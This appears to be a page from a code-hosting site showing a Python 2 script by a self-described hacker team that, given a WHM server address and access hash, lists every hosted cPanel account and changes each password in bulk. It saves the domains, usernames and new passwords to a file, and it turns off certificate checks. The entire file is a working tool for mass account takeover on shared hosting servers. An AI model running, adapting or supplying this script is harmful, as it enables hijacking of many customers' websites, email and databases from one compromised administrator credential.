Permalink
Switch branches/tags
Nothing to show
Find file Copy path
Fetching contributors…
Cannot retrieve contributors at this time
76 lines (66 sloc) 2.63 KB
#cOded by Skidie khan ~ TeaM_CC
import urllib2, urllib, httplib, re, os, sys, socket, ssl, random,string
from platform import system
prefix1 = "PRO"
lame = '''
[=] Mass cPanel Pass Changer from WHM [=]
[+] Coded By Skidie Khan [+]
[-]TeaM Cyb3r Command0s[-]
''' #lamers can change their logo here :V
print lame
url = raw_input('[~]Type below format:(http://host:port)\n[$]~ ')
extraLove = ['@','#','$','%','&']
hardcore = ''.join(random.choice(extraLove) for _ in range(2))
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
opener = urllib2.build_opener(urllib2.HTTPSHandler(context=ctx))
ua = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A'
access = raw_input("[~] Type below format: (user:accesshash)\n[$]~ ")
opener.addheaders = [('User-agent', ua),('Authorization','WHM ' + access)]
try:
viewall = opener.open(url + '/scripts4/listaccts?viewall=1').read()
except (urllib2.URLError, urllib2.HTTPError, IOError, httplib.HTTPException) as e:
print "Error!! in first request...!"
print str(e)
print "\nPlease fix this and relaunch!"
sys.exit()
leets = re.findall('user="(.*?)"',viewall)
if not leets:
print "\!/ The hell no users found! maybe prob with whm hash! I am out!"
sys.exit()
for leet in leets:
try:
ihatetokens = opener.open(url + '/scripts4/listaccts?acctp=1').read()
token = re.findall("name=passwordtoken value='(.*?)'",ihatetokens)[0]
except (urllib2.URLError, urllib2.HTTPError, IOError, httplib.HTTPException) as e:
print "Error!! fetching token...!"
print str(e)
print "\nignoring and continue"
continue
#we got token got username now its time to cook a hardcore password ;)
rand_pass = lambda n: ''.join([random.choice(string.lowercase) for i in xrange(n)])
leet_pass = hardcore + rand_pass(6) + prefix1
#hardcore password generated :v
dom = re.findall('user="' + leet + '" domain="(.*?)"',viewall)
if not dom:
domain = "couldn't found"
else:
domain = dom[0]
data = urllib.urlencode({'password':leet_pass, 'user':leet,'passwordtoken': token , 'enablemysql':'1'})
req = urllib2.Request(url + '/scripts/passwd', data)
try:
changeit = opener.open(req).read()
if "has been changed" in changeit:
with open('changed.txt','a+') as e:
formatit = domain + ':2082' + '|' + leet + '|' + leet_pass
e.write(formatit+'\n')
print formatit
else:
continue
except (urllib2.URLError, urllib2.HTTPError, IOError, httplib.HTTPException) as e:
print "Error!! changing pass...![maybe suspended]"
print str(e)
print "\nignoring and continue"
continue
print "[+] Saved as changed.txt ."